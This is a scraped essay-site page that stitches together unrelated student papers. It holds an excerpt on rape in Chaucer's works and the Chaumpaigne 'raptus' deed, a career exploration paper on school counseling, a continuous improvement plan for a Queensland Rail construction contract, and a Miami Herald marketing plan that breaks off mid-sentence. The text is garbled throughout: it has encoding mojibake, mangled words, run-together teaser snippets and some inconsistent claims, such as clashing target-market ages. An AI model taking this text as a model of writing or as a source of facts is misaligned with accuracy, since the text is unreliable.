Chaucer s The Man Of Law s Tale - 1269 Words

Chaucer is one of the first authors to use rape in English literature (Schaus). Representations of rape occur with some consistency in several of Chaucer’s works, for example an attempted rape in â€Å"The Man of Law’s Tale† and the rape of a both a mother and daughter in â€Å"The Reeve’s Tale† (Schaus). His usage of rape was possibly inspired by his own speculated distribute with rape. On May 4, 1380, Cecily Chaumpaigne brought a deed of release into the Chancery of Richard II and had it recopied by a clerk on the back of the sheets of parchment used to record the closed or sealed letters sent by the king. In this deed, Chaumpaigne wrote omnimodas acciones tam de raptu meo tam de aliqua alia re vel causa. The modern English translation roughly reads that Chaumpaigne released the poet Geoffrey Chaucer from all manner of actions such as they relate to my raptus or any other thing or cause (Cannon). However, the cited evidence cited does not prove conclusively that Chaucer was guilty of rape. In discussions of the word raptus, one controversial issue has been what the word directly translates to. On the one hand, several scholars are certain that rape or forced coitus is the only acceptable translation of raptus in this period, on the other many linguistic scholars argues the language of rape- raptus, ravysement, and rape, was so ambiguous in the fourteenth century that it could mean either forced coitus or abduction, often for the purpose of marriage (Cannon). The latter’s theoryShow MoreRelatedGeoffrey Chaucer s Influence On The 19th Century1341 Words   |  6 Pages Geoffrey Chaucer was one of the most acclaimed writers of the 14th century. It was not exactly certain when Geoffrey Chaucer was, born but it was known to be around 1340 to 1344. He was the son of John Chaucer and Agnes Copton. John Chaucer was a very successful London wine merchant, but soon died in 1366. His wife Agnes got remarried to another Chaucer, said to be a cousin of her late husband John. â€Å"Just where the boy got his schooling is not known; he may have been at either Oxford or CambridgeRead MoreAnalysis Of The General Prologue To The Canterbury Tales Essays1044 Words   |  5 Pagespractice. Geoffrey Chaucer, one of the most important writers in English literature, was the author of The Canterbury Tales, an elaborate poem about the religious pilgrimage of twenty nine people to Canterbury. In the General Prologue Chaucer introduces each individual along for the journey. Through The Canterbury Tales, we discover the hypocrisy and virtues Chaucer narrates in his char acters and can appreciate the nuances in this superior piece of literature. Geoffrey Chaucer, born in London inRead MoreKnights Of The Middle Ages1692 Words   |  7 Pagesorigin. Gradually, the knights blended into the nobility, acquiring the privileges and rights of the old aristocracy. The Knight is one of the pilgrims who is portrayed in a literal interpretation and not satirical. Chaucer depicts the Knight as â€Å"a most distinguished man† (Chaucer 4) who is a true hero. There are four main traits that the narrator articulates about the Knight; chivalry, truth, honor, and generosity. When the Knight was called to serve his kingdom, he performed his duty courageouslyRead MoreThe Friar s Tale Of Geoffrey Chaucer s Canterbury Tales Essay1508 Words   |  7 PagesWalker Mr. Abel British Lit/comp. 7 November 2016 The Friar’s Tale Many pilgrims in Geoffrey Chaucer’s Canterbury Tales held a religious position. Some of these people’s personal ideas have caused debates and criticism over Chaucer’s opinion of the Catholic Church. Critics have discussed the ideas that were presented both subtly and openly. Two of the pilgrims and their tales will be discussed: the Prioress and the Pardoner. Both of these tales offer points of criticism in the Catholic Church. The PrioressRead More Canterbury Tales Essay646 Words   |  3 Pages Corruption in the Church nbsp;nbsp;nbsp;nbsp;nbsp;Chaucer lived in a time dictated by religion and religious ideas in which he uses The Canterbury Tales to show some of his views. Religion played a significant role in fourteenth-century England and also in Chauceramp;#8217;s writing. His ideas of the Church are first seen in amp;#8220;The Prologue,; and he uses seven religious persons to show the influence of the religion in his writing. Although many of his characters appear to portrayRead MoreThe Canterbury Tales By Geoffrey Chaucer1073 Words   |  5 PagesCanterbury Tales, Geoffrey Chaucer introduced and described a variety of fictional characters that lived in the Middle Ages. It was the time period that European civilians were governed by a system called feudalism. Where kings were the head of the system and everyone was categorized in social classes. In the prologue of The Canterbury Tales the first character introduced was the knight. Geoffrey Chaucer depicts the knight correctly by characterizing h im as a chivalrous and honorable man, which contrastedRead MoreThe Pardoners Prologue And Tale By Chaucer Essay1425 Words   |  6 Pagesâ€Å"The Pardoner’s Prologue and Tale† is important because it demonstrates how someone with power can influence less intelligent and poor people for financial gain, which was relevant in society during the Middle Ages. In Chaucer’s story, the Pardoner uses his influence and tells a tale of three men to convince the people to pay for him to pardon their sins. Chaucer’s tale and story is often used to emphasize the moral values in our society. There are many points in the tale that are based on the themeRead MoreGeoffrey Chaucer s The Canterbury Tales1781 Words   |  8 Pagesrelationship and were wholly looked down upon. During these women s lifetimes, sovereignty was sought after but never fully achieved. Women were looked at as a way to please the man and someone to carry his child when time came. In modern time, th e extremist who don t support equality among women and men are known as misogynists or anti-feminists. On the side of the spectrum, those who do support equality are known as feminists. Geoffrey Chaucer, who is by some considered a proto-feminist writer, is oneRead MoreThe Knights Tale And Lust Essay879 Words   |  4 Pagesthan the man, basing the relationship on loyalty rather than sex. On the spectrum of love, these two types are polar opposite ways in treating a woman. In medieval times, lust often fails, as chivalric love is rarer and heavily desired from a woman’s perspective. Rapper Kendrick Lamar exclaims, â€Å"we lust on the same routine of shame...lust turn[s] into fear,† and in Chaucer’s â€Å"The Miller’s Prologue and Tale,† the lust of common characters bring only shame on themselves, but in â€Å"the Knight’s Tale,† theRead More The Cantebury Tales was Geoffrey Chaucers Satire Towards the Catholic Church1811 Words    |  8 Pages Geoffrey Chaucer expresses his disillusionment with the Catholic Church, during the Medieval Era, through satire when he wrote, The Canterbury Tales. The Medieval Era was a time when the Catholic Church governed England and was extremely wealthy. Expensive Cathedrals and shrines to saints relics were built at a time when the country was suffering from famine, scarce labor, disease and the Bubonic Plague, which was the cause of death to a third of Europes population and contributed

Career Exploration Paper - 1320 Words

Career Exploration Paper Tori Turner Liberty University Career Exploration Paper Career Field Occupation Choice Within society, there are many occupations to explore and chose. The Myers-Briggs Type Indicator (MBTI) results showed that my personal career strengths fall under the area of teaching and counseling. Currently, as a school counselor for a high school in Duncanville, Texas, a suburb outside of Dallas, I find the results of the assessment to be very accurate. Making the decision to become a counselor is a rewarding and exciting career choice. In the world of counsling, there are many individuals who place emphasis on not just basic implications, but also on theoretical studies that usually are a part of†¦show more content†¦The environment is usually in a school setting and the hours are regular school hours and works the traditional 9 to 10 month school year. Supervision is the responsibility of the principal and the population of students varies from at-risk youth to the general population of students. The clients usually range in age from 14 to 18 and issues can range from drug/substance abuse, bullying, issues with home, pregnancy, and the list goes on. Opportunities and future outlook The opportunities and future outlook for high school counselors will greatly depend on the size of the school and its district. Currently, in the Duncanville School District, there are very limited spaces for school counselors. On the other hand, other local larger school districts are in need of high school counselors because there are many students who are in need of needing someone to speak to about their life issues and other social problems that they continue to encounter on a daily basis. The increase in student enrollment and the building of new schools is not a negative situation. It is more so a situation that opens the doors for more individuals who have been certified in the area of counseling. Overall, â€Å"employment for educational, vocational, and school counselors is expected to grow by 14 percent, which is fast er than the average for all occupations† (Bureau of Labor Statistics, 2010-11, p. 1).Show MoreRelatedCareer Exploration Paper3362 Words   |  14 Pageswhich is exactly what I tried doing when working there and dealing with these kinds of people. Furthermore, Robert Lock describes the importance of self-exploration and personal values in his book Taking Charge of Your Career Direction. He encourages readers to think about their own strengths and weaknesses and use those to figure out what career path they should take. All of the positions I have had involve working with other people, and although I am a Business Management major, I am receiving aRead MoreIt Career Exploration Research Paper Dillon Evans973 Words   |  4 PagesIT Career Exploration Research Paper Dillon Evans Computer Support Specialists can fall under many different categories with the common factors being that they give advice and help to end users and organizations on computers, equipment, software, computer access, and networks. The main emphasis is that we will be working with end users to ensure that they are capable of doing their job on a networked system. As a computer support specialist you will have to be trainedRead MorePersonal Statement : Self Exploration1156 Words   |  5 Pages Self Exploration Paper Yifei Bai Arizona State University Introduction To have a clear future career plan, self-exploration would be the first step to take since those who do not know themselves well will also have no idea about where to begin their career or may be mediocre in their life (Rogers et al., 2008). Therefore, for aspiring college student, before completely stepping into the working stage, one shall specify his or her goal and make full use of the existed sources in schoolRead MoreAn Exploration Of The Behavioral Management Aide Career Essay1135 Words   |  5 PagesAbstract This paper is a brief exploration of the Behavioral Management Aide career in the Social and Human Service Assistant field. It is a sometimes difficult yet rewarding job in which the professional works with clients to assess them and help them solve any issues they are having which hinders them from living a fulfilling, happy life. It is a career that is expected to grow over the next few years and it only requires a high school education, but a college degree and previous experience isRead MoreCareer Analysis : Career Counseling1276 Words   |  6 PagesCareer Counseling Theory It appears that the most appropriate model of career counseling would depend on how much insight the client has, their stage of development, their age and cultural background, and their career and developmental maturity. All of an individuals life experiences, their personal and career goals and aspirations for the present and future will affect their choices regarding career development. There are differing opinions on which factors play the most important role in careerRead MoreAn Multi Agency Statewide Youth Initiative839 Words   |  4 Pagesweb-systems that focus specifically on career exploration: Careers.Utah.gov www.utah.gov/careers - DWS (including WRA) is a partner in this multi-agency statewide youth initiative. The LMI Department provides substantial content to the system, which packages many State resources under three key content areas: 1) Explore Careers, 2) Investigate Careers, and 3) Find a Job. UtahFutures.org DWS (including WRA) is a partner in a Statewide, multi-agency career exploration partnership and web-system gearedRead MoreProposal for a New Career Exploration Program for Service Canada1625 Words   |  7 PagesProposal for a New Career Exploration Program for Service Canada This proposal is for a new career exploration program for Service Canada office of Cornwall, Ontario. It will examine the use of four standardized assessments in career counseling, then select and budget relevant assessments and resource material. The anticipated client group includes: unemployment recipients (70% recently unemployed due to downsizing), average age is 30-40, 60% female, 20% First Nations, 20% professional immigrantsRead MoreContinuing Academic Sucess1291 Words   |  6 Pagescategories of your life such as career, family, personal, financial, educational, and spiritual (Milne,  2001). Take a career for example. Say you set a long term goal to open your own business one day. Short term goals you could set would be to put five dollars into your saving every day. A mid-term goal would be that you want to have nine thousand saved up in five years and use it for a down payment on a small store, or for merchandise for the store. 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That center is great and what really is interesting is that it’s available to the general public not just PCC students. I learned a lot of information from here for my career path I’d like to take someday and learned the pay for that specific career. I believe every student should pay a

Continuous Improvement the Products

Question: Discuss about the Continuous Improvement the Products. Answer: Introduction The business professionals continually test their in order to discover and eliminate the issues or consequences to support continuous improvement (Backlund, Chroner and Sundqvist 2014). On the other hand, continuous improvement aims to consistently serving in order to improvise the products or services of the companies with respect to the highest standard. Therefore, this study is aimed to illustrate and analyze the continuous improvement plan in the engineering and construction aspect. Moreover, all the important and necessary components of the continuous improvement plan are aimed to be described in this study. In addition, this study presents a pictorial overview of continuous improvement plan. The case study based on the Major Building and Construction Contract implemented by Queensland Rail Limited has been chosen for conducting this entire study. Furthermore, the most crucial part of this study is to meet all the fundamental learning needs of the unit such as the knowledge abou t the performance of the fundamental skills and the basic concepts. Apart from that, another aim of continuous improvement plan is to be portrayed with the imagination, originality or flair based on the proficiency in all the outcomes of learning. Discussion Textual Overview of Continuous Improvement in Organizations Continuous Improvement is a crucial and continuous effort which plays a significant role in order to improvise the products, services or processes (Sanchez and Blanco 2014). On the other hand, the specific efforts are capable enough of seeking the breakthrough the improvisation all at once or the increasing improvisation over a specific timeline. In addition, the terms continuous improvement and continual improvement are frequently and interchangeably used. The most widely used continuous improvement tool is the Plan-do-check-act cycle, which is a four-step quality model (Rubenstein et al. 2014). It is such a process that is capable enough of achieving the increased and appropriate quality of service associated with the customer focus, simplified processes and procedures, internal and external customer recognition and attitudinal change in the long term. Apart from that, Six Sigma, Total Quality Management as well as Lean M anagement are the other very popular tools to implement the continuous improvement in the business operations (Peng, Feifei and Pei 2014). These particular tools can effectively highlight the employee involvement and teamwork by measuring as well as systematizing processes and minimizing variation, defects and cycle times. Most important fact associated with continuous improvement is that this process has become the essence for the businesses. Figure 1: Pictorial Overview of Continuous Improvement Plan (Source: Rosemann and vom Brocke 2015, p.106) Continuous Improvement plan can satisfy very effectively the value of the consumers and can be very efficient in eliminating the waste as well in the business processes of a company. The simplest and the most crucial thing to do during beginning of a continual improvement over a particular project is for interacting in a proper manner with organization and its clients that an individual desire for continually improvising the provided services (Delgado et al. 2014). Therefore, the kind of desire can be stated through the strategic reviews and team briefings. Thus, the implementation of the plan for continuous improvement can play a very important and pivotal role for the major construction and building contract undertaken by Queensland Rail Limited. As per the general conditions portrayed in this contract, this tender should follow an annexure list. On the other hand, this particular annexure list is mainly comprised of the clauses those should be deleted, amended or added to the Australian Standard General Conditions of Contract AS 2124-1992 (Bernhardt 2013). Moreover, these clauses should also be read or interpreted as the components of this particular contract. These amendments and deletions are aimed mainly to be implemented in order to improvise the clauses for this contract. In addition, a continual improvement plan should be implemented effectively during these modifications over the contract due to the fact that the minor items are not expressly mentioned. Nevertheless, these items are significant for the satisfactory completion and performance of the work under the contract (Lam, O'Donnell and Robertson 2015). These items should be supplied and executed by the contractor at the own costing of the contract and are also estimated to be included in the Contracts sum. On the other side, the continuous improvement plan can also significantly play an essential role to remove the errors in the Bills of Quantities. Purpose of the Continuous Improvement Plan Implementation the continual improvement plan should be implemented for the improvisation of this contract in order to accomplish few specific purposes. Therefore, the contractor should ensure and comply with that all and any of the subcontractors or the other people, who are engaged in performing the work within this contract with the complete safety legislation and requirements (Singh and Singh 2015). On the other hand, the appropriate safety precautions and programs are managed so as to prevent the injury towards the people and damaging the property arising out of the performance of work within this tender. Apart from that, the principal of any particular happening should be properly and promptly notified that is required to be reported to any legislative authority and cooperated with the principal and the superintendent related to this happening. Moreover, it should also be comprised of providing details and the documentation to the sup erintendent and the Principal as requested in regards to the incident (Sundqvist and Backlund 2014). Therefore, the actions should be cooperated, consulted and coordinated with the principal and superintendent. In addition, the contractor should ensure that all the subcontractors are engaged with performing any work segment within this contract. Furthermore, the contractor should have the compliance with the Work Health and Safety Management Plan of the principal (Francis and Mazany 2013). Thus, the contractor has to undertake the Safety Site Instructions and Site specific Health. Continuous Improvement Plan by amending the clauses from general conditions in AS2124-1992 - Goal No Objective Target Related Procedures Action Target Date Status Date Completed Assigned Responsibility Required Additional Resources 1. Construction of Contract Replacement of few improper words for making an improved contract Replacement of words on the contract Deletion of or territory stated in the Annexure 10th February, 2017 Scheduled N/A Contractor N/A Word addition of of Queensland and the parties agree to submit to the jurisdiction of The courts of the state of Queensland (McLean and Antony 2014). 2. Resourcing to Converse security and Retention Money Recourse for the maintenance of cash security as well as moneys Principal to money security conversion Security conversion and retention of money Ongoing Scheduled N/A Contractor N/A 3. Minimization of Retention moneys and Security Incorporating the words or where there are Separable Portions upon issue of the last of the certificates of Practical Completion Amending words in the contract to assure security and retention moneys Appropriate word addition 11th February, 2017 Scheduled N/A Contractor N/A 4. Service of Notices Amending some words in the final paragraphs for improvising the tender Payment Service of the contractor on principal should be made properly (Goetsch and Davis 2014). Superintendent can accomplish signing and issuing of schedules for payment to the contractor. Contractor should ensure that within 24 hours after any notice under the BCIP Act is received or given by the contractor in the form of a copy of that particular notice Ongoing Scheduled N/A Contractor N/A 5. Termination of Nominated Subcontract Prohibition of subcontract termination for nominated subcontract can work without the approval of superintendents Statement addition not about subcontract termination is implemented by the deletion of the first sentence in the tender Termination of subcontract without the approval of superintendent should be stopped 12th February, 2017 Scheduled N/A Contractor N/A 6. Extension of cost and time Permitting the extension on time and cost for the projects N/A Cost and Time extension by modifying the contract Ongoing scheduled N/A Contractor N/A 7. Property and People Protection Ensuring protection of property and people by modifying this clause An item should be given where the importance of its provision is conveyed for normal safe working (Sessa and London 2015). Protection of people and their property Ongoing scheduled N/A contractor N/A 8. Costs for Delay Contractor must not be unconstrained to recuperate financial compensation for delay to reach practical accomplishment Determination of costs of component for proper delay. A new clause amendment regarding delay cost in place of clause 36 Ongoing Scheduled N/A Contractor N/A 9. Workers and Subcontractors payment Improvement of payment system for subcontractors and workers as well. Incorporation of Payment Recording System, Statement Naming Subcontractors, Record of Payment System, Statutory Declaration, Payment on behalf of Contractor, and Documentary Evidence Amending clause which includes the implementation of these systems for improving the payment system (Kohlbacher 2013). Ongoing Scheduled N/A Contractor N/A 10. Workplace Health and Safety Improving the factors of health and safety for employees in this construction project. Safety legislation incorporation in regards to occupational health and safety for meeting the safety requirement. Clause amendment regarding the factors of workplace health and safety and requirement in the constructional area Ongoing Scheduled N/A Contractor N/A 11. Rail Safety Workers Compliance with the Transport Requirement Act. Ensuring commences of rail safety work, person including its workers accomplishing the rail safety work. Make competent enough to continue the safety work and assess competence. Implementation a medical assessment. Ongoing scheduled N/A Contractor N/A 12. Training Policy Addition of 50 clauses about improving training system by meeting few essential purposes. Compliances should be fulfilled along with the training policy clauses 50 new clause addition for establishing a proper training system. Ongoing Scheduled N/A Contractor N/A 13. Compliance with Principal Policy Compliance with the essences of the entire policies, specifications and standards of principal whilst the conduction of undertaking services, works or the supply of goods Limitation does not lie in the Code of conduct of Principal in force, introduced or amended while the term or any extended contract term New clause addition by stressing on the compliance with principal policies Ongoing Scheduled N/A Contractor N/A Continuous Improvement Plan by removing the clauses from general conditions in AS2124-1992 Goal No Objective Target Related Procedures Action Target Date Status Date Completed Assigned Responsibility Required Additional Resources 1. Clause Deletion from general conditions in AS2124-1992 Direct payment of the Nominated Subcontractor N/A Removal of Clause 10th February, 2017 Satisfactory completion and performance of work within the contract Contractor N/A Unpaid money recourse N/A Removal of Clause 10th February, 2017 Satisfactory completion and performance of work within the tender or contract Contractor N/A Protection made by the Principal N/A Removal of Clause 10th February, 2017 Satisfactory completion and performance of work within the tender or contract. Contractor N/A The continual improvement plans portrayed above have illustrated properly the understanding and the awareness of the less obvious aspects and the deepened aspects of the unit as well such as the ability to debate and identify the crucial issues or problems. Most importantly, the above portrayed continuous improvement plans have significantly tried for addressing the consequences (Holtskog 2013). Therefore, the continual improvement plans have been able to evaluate and invent the new concepts in order to amend or add the new clauses under the contract of the Queensland Rail project in the domain of Engineering and Construction Conclusion The entire analysis made in this study has successfully shed light on the significance and effectiveness of the continuous improvement plan. Therefore, the continual improvement plan portrayed based on the construction and engineering has successfully convey its significances. On the other hand, from this particular study, it can also be seen that it has reflected significantly the ability to apply and use the fundamental skills and concepts of the unit by going beyond the mere replication of content or skill knowledge to show the understanding regarding key originality or insight and concepts that there are some amendments and deletion have been implemented within this contract. Moreover, these modifications have been implemented simply to improve the entire tender by deleting few clauses and by amending few clauses. Apart from that, this study has also designed individually two tabular representations for both the addition and deletion of the tender clauses for conveying the improv ement areas within the tender. References Backlund, F., Chroner, D. and Sundqvist, E., 2014. Project management maturity modelsA critical review: A case study within Swedish engineering and construction organizations.Procedia-Social and Behavioral Sciences,119, pp.837-846. Bernhardt, V., 2013.Data, Data, Everywhere: Bringing All the Data Together for Continuous School Improvement. Routledge. Delgado, A., Weber, B., Ruiz, F., De Guzmn, I.G.R. and Piattini, M., 2014. An integrated approach based on execution measures for the continuous improvement of business processes realized by services.Information and Software Technology,56(2), pp.134-162. Francis, S.D. and Mazany, P.C., 2013. Developing elements of a learning organization in a metropolitan ambulance service: strategy, team development and continuous improvement.Health manpower management. Goetsch, D.L. and Davis, S.B., 2014.Quality management for organizational excellence. Upper Saddle River, NJ: pearson. Holtskog, H., 2013. Continuous improvement beyond the lean understanding.Procedia CIRP,7, pp.575-579. Kohlbacher, M., 2013. The impact of dynamic capabilities through continuous improvement on innovation: the role of business process orientation.Knowledge and Process Management,20(2), pp.71-76. Lam, M., O'Donnell, M. and Robertson, D., 2015. Achieving employee commitment for continuous improvement initiatives.International Journal of Operations Production Management,35(2), pp.201-215. McLean, R. and Antony, J., 2014. Why continuous improvement initiatives fail in manufacturing environments? A systematic review of the evidence.International Journal of Productivity and Performance Management,63(3), pp.370-376. Peng, Z., Feifei, Z. and Pei, Z., 2014, October. Research on the evaluation method of customer satisfaction index and its improvement in drilling engineering technology. InIntelligent Computation Technology and Automation (ICICTA), 2014 7th International Conference on(pp. 972-978). IEEE. Rosemann, M. and vom Brocke, J., 2015. The six core elements of business process management. InHandbook on business process management 1(pp. 105-122). Springer Berlin Heidelberg. Rubenstein, L., Khodyakov, D., Hempel, S., Danz, M., Salem-Schatz, S., Foy, R., O'neill, S., Dalal, S. and Shekelle, P., 2014. How can we recognize continuous quality improvement?.International Journal for Quality in Health Care,26(1), pp.6-15. Sanchez, L. and Blanco, B., 2014. Three decades of continuous improvement.Total Quality Management Business Excellence,25(9-10), pp.986-1001. Sessa, V.I. and London, M., 2015.Continuous learning in organizations: Individual, group, and organizational perspectives. Psychology Press. Singh, J. and Singh, H., 2015. Continuous improvement philosophyliterature review and directions.Benchmarking: An International Journal,22(1), pp.75-119. Sundqvist, E. and Backlund, F., 2014. Continuous improvement in project-based organizations?: A management perspective. InQMOD conference on Quality and Service Sciences: 03/09/2014-05/09/2014.

The Miami Herald Imc Plan Essay Research free essay sample

The Miami Herald Imc Plan Essay, Research Paper Table OF CONTENTS THE IMC Plan 1. The IMC Mission 1 2. The IMC Objectives 1 3. The Situation Analysis 2 4. Budget 3 THE PRODUCT 1. Seasonality 5 2. Purchase Cycle 6 Target MARKET 6 Ad 1. Aims 7 2. Strategy 7 Gross saless Promotions 1. Merchandise 12 2. Pricing 12 3. Distribution 12 Personal Selling 1. Aims 13 2. Selling scheme 13 PUBLIC RELATIONS 1. Aims 15 2. Schemes 15 FRINGE Selling 1. Aims 18 2. Schemes 18 PERFORMANCE EVALUATION PLAN 20 Appendixs THE IMC Plan 1. The IMC Mission To place the Miami Herald as a competitory option for readers in Broward, South Palm and Monroe counties. The object is to pull bing readers and consumers of other media merchandises in these countries and to solidify the base of current Miami Herald readers and vie efficaciously with other publications and media mercantile establishments. We want to pull advertizers, from countries other than Miami-Dade. Customer consciousness and involvement must be built to degrees that lead to merchandise test. Establish the Herald as being an alternate paper to loyal readers of other publications. We will write a custom essay sample on The Miami Herald Imc Plan Essay Research or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page 2. The IMC Aims a. Addition market portion in Broward and South Palm Beach counties by 5 % . B. Consolidate and increase portion in Miami-Dade and Monroe counties by 2 % . c. Establish the Herald as being the best beginning of intelligence for all four counties with a consequence of 30 % addition in entire gross revenues. d. Increase The Miami Herald subscription base by 10 % . e. Increase advertisement gross in countries other than Miami-Dade by 40 % . f. Expand distribution to Monroe and Palm Beach Counties by 60 % . 3. The Situation Analysis-SWOT Analysis Strengths ? The Herald # 8217 ; s Classifieds subdivision reaches three of the five counties that are projected to hold the biggest occupation growing through 2010. These three counties include Miami-Dade, Broward, and Palm Beach. ? The geographical distribution shows that The Miami Herald has its chief market in Miami-Dade County, which holds 65 % of the circulation gross revenues. ? The Miami Herald has a good repute with readers and non-readers likewise and hence. Failings ? A big per centum of newspaper readers in Palm Beach County feel that the Herald fails to cover intelligence refering to their local community. ? More than half of the newspaper readers from Palm Beach County study that the Herald is non readily accessible in their country. ? The Miami Herald name entirely has a negative impact on consumers in Palm Beach County. ? Monroe County is non efficaciously covered by any of the newspapers. ? The Sun Sentinel has higher entire gross than The Miami Herald. The $ 20 million difference comes from higher advertisement gross. Although the specific Numberss are non provided, the circulation figures in Appendix B show that the Sun Sentinel has a lower entire circulation than The Miami Herald. Opportunities ? A local edition of the Miami Herald has a possible for growing, since The Miami Herald has a good repute with readers and non-readers. ? To spread out distribution in Palm Beach county by set uping strong relationships with local concerns and sellers. ? Alter the merchandise name ( e.g. The Herald: Palm Beach edition ) . ? The Miami Herald would hold the greatest gross revenues potency, in Miami-Dade and Monroe counties but would besides gain from other markets. Therefore, we must maintain and increase our current reader base in the Miami-Dade and Monroe countries, while trying to pull Palm Beach and Broward county occupants. ? The population figures show that Broward and Palm Beach are the counties with greatest potency, since they have a greater population than Monroe. The advertisement run should be aimed to acquire the Sun-Sentinel and The Palm Beach Post readers to exchange to The Miami Herald. Menaces ? Its chief rival, the Sun-Sentinel, focuses its gross revenues in Broward County, while The Palm Beach Post has its major market in Palm Beach County. ? The analysis of the competitory gross revenues points at the job of acquiring advertizers for The Miami Herald new local editions in those counties where the Sun Sentinel controls the market. ? The general diminution in newspaper readership. 4. Budget Total Budget # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; $ 2,500,000 ? Promotion # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; $ 1,000,000 o Advertising # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8211 ; $ 650,000 o Public Relations # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; $ 250,000 o Personal Selling # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; $ 200,000 ? Product # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; $ 300,000 ? Pricing # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; $ 0 ? Distribution # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; $ 1,000,000 ? Contingency # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; # 8212 ; $ 500,000 Rationale: We want to bring on test. In order to carry through this nonsubjective, we need high degrees of range. The effectual range calls for a better distribution web. We besides need to publicize so that prospectives become cognizant of the alterations in The Miami Herald. Now, The Herald covers their communities. THE PRODUCT 1. Seasonality Not sing particular events or intelligence narratives with above norm importance, newspapers are sold about every bit in every hebdomad of the twelvemonth. 2. Purchase Cycle Newspapers are purchased either on a day-to-day footing or hebdomadal ( intending the Sunday edition ) . However, factors such as household vouchers on certain yearss of the hebdomad may choose readers to buy the newspaper. Subscription standard rate: ? 4 yearss Thursday, Friday, Saturday and Sunday: $ 25.91 ? 3 yearss Friday, Saturday, and Sunday: $ 21.91 ? Sundays Merely for 13 hebdomads for $ 14.19 Promotional monetary values: ? 3 month subscriptions $ 24.12 ? 4 yearss $ 13.64 ? Sundays merely for $ 7.17 ? 1 twelvemonth for $ 109.60 ? 26 hebdomads for mundane bringing $ 54.84 Target Market Demographics The primary mark market of The Miami Herald is white non-Hispanic work forces and adult females over the age of 65 that have a annual household income above $ 50K. The secondary mark market is Latino work forces and adult females between the ages of 35 and 54 that have $ 35K+ annually household incomes ( Note: See Appendix A ) . Readership consists largely of in-between to middle-upper socioeconomic category. Most readers have some college experience and work in a professional or managerial occupation. Besides, 73 % of Sunday readers are from Miami-Dade County. Psychographics The Miami-Ft. Lauderdale audience is more likely to go to cultural/arts events ; take sail ship holidaies ; prosecute in foreign travel ; and bask epicure cookery A ; wellness nutrients. In add-on, our audience has a high involvement in current events/politics, self-improvement, and career-oriented activities. Ad 1. Aims To set up The Miami Herald as the newspaper supplying the most accurate and utile information for the readers in Broward and South Palm Beach, while keeping the newspaper # 8217 ; s place in Miami-Dade County. a. Creative aim To set up The Miami Herald as the newspaper that provides the most accurate and utile local and national information on Broward, South Palm Beach, Miami-Dade, and Monroe counties. B. Media aim To present advertisement to work forces and adult females 18 to 44 chiefly ( our mark market ) . To publicize throughout the Broward, South Palm Beach, and Dade counties with an extra support in Broward and South Palm Beach. Addition print advertisement in local countries. 2. Scheme a. Selling mix: Outdoor advertisement Radio Television Local Magazines B. Media: Outdoor advertisement: Billboards, and postings for coach Michigans. Radio: Morning and eventide thrust. Television: Morning and Sports in topographic point overseas telegram. Local Magazines: Full page colour ads. c. Reach/Frequency We want to accomplish a range of 95 with a frequence degree of 4. The ensuing GRPs will be 380. A range of 95 will assist The Herald in increasing market portion and consciousness. A frequence of 4 will do consumers to take The Herald over its rivals The Sun Sentinel and The South Palm Beach. d. Scheduling: Ad will get down on September and run throughout the whole twelvemonth by utilizing continuity scheme. Outdoor ? Billboards: Dark background with freshness in the dark lettering to derive thea ttention of viewing audiences at both forenoon and eventide clip. Billboards of bigger size will be placed on the side of edifices in the downtown country of each county to demo how we appreciate their support. ? Posters: Same originative as hoardings. R / gt ; The Miami Herald Television Ad : 60 Audio Man: Honey, where is my forenoon paper? Wife: Oh, I # 8217 ; ll acquire it right now Man: All right honey ( in the background ) Wife: ( shouting ) Ouch! ANNCR: The Herald, Today # 8217 ; s Newspaper for Today # 8217 ; s reader Video Cesium: A twosome wakes up from an dismay clock traveling off. The adult male gets up and rubs his eyes. The, he heads to the bathroom. His married woman gets up and goes to the kitchen. Cesium: Wife is fixing breakfast as he walks in dressed for work. He sits down and starts looking around for his paper. MS: Door clears and the shooting show the married woman keeping cup of java. A newspaper comes winging in from the air and hits her in slap in the caput. Liter: Husband comes running to the door and sees The Herald hit his married woman. Cesium: On newspaper: The Herald, Today # 8217 ; s Newspaper for Today # 8217 ; s reader. The Herald Radio Ad :30 SFX: Voices, PLATES, NOISE OF STEPS HEARD IN THE BACKGROUND OF A RESTAURANT. Man 1: Hello! ! Man 2: Late as ever, huh? ! Laugh Man 1: Stop kicking # 8230 ; LAUGHS Man 2: I # 8217 ; ve already ordered and read more than half of the newspaper. Man 1: What did your married woman put to much amylum in your shirt? Man 2: What are you speaking about? Man 1: You are reading the Miami Herald and you # 8217 ; re non even populating in that county. Man 2: Your head is every bit slow as your timing. The Miami Herald now has editions in Broward and South Palm Beach counties. Man 1: Truly? ! Man 2: Yeah! The Miami Herald is now besides my Herald. ANNCR: The Herald is now covering specific intelligence that relate to merely to you and your county. All the experience and old ages of intelligence coverage of The Miami Herald is now available to you. Buy your Herald now! ! The Herald, , Today # 8217 ; s Paper for Today # 8217 ; s Reader. Gross saless Promotions Door-to-door sampling ? Deliver a free introductory trail of the paper to different country codification for one month in order to promote seeking the Miami Herald in the Palm Beach and Monroe country. Sweepstakess ? Enter a drawing to win a Royal 